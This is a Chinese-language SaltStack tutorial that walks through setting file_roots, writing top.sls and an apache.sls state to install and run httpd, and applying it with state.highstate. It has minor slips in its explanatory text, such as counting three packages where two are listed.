[root@master ~]# salt '*' state.highstate

根据上面的设置,执行完状态后。Salt会检查Minion上是否有上面编写的三个软件包。如果没有就会自动使用Yum安装上。 查看全部
      Salt使用State模块文件进行配置管理,使用YAML编写,以.sls结尾。如果进行配置管理首先需要再Master的配置文件中指定”file roots”的选项,Salt支持环境的配置,比如开发环节、测试环境、生产环境,但是base环境是必须的。而且Base环境必须包含入口文件top.sls。

 第一步:设置file_roots
修改Master配置文件,指定File_roots。


[root@master ~]# vim /etc/salt/master
file_roots:
   base:
     - /srv/salt


创建相应的目录
[root@master ~]# mkdir -p /srv/salt
重启Salt Master
[root@master ~]# /etc/init.d/salt-master restart
Stopping salt-master daemon:                              [  OK  ]
Starting salt-master daemon:                               [  OK  ]

 第二步:设置top.sls
在top.sls入口文件设置环境(如生产、开发、测试对应不同的minion和模块)。


[root@master ~]# vim /srv/salt/top.sls
base:
  '*':
   - apache


解释:所有的Minion均执行base目录下的init模块下的pkg-init.sls。我们可以把很多的sls放在一个目录中,方便管理。在top.sls只需要指定目录结构即可。

 第三步:编写状态文件


[root@master ~]# vim /srv/salt/apache.sls
apache-install:
  pkg.installed:
    - names:
      - httpd
      - httpd-devel
apache-service:
  service.running:
    - enable: True
    - reload: True


第四步:执行状态
[root@master ~]# salt '*' state.highstate

根据上面的设置,执行完状态后。Salt会检查Minion上是否有上面编写的三个软件包。如果没有就会自动使用Yum安装上。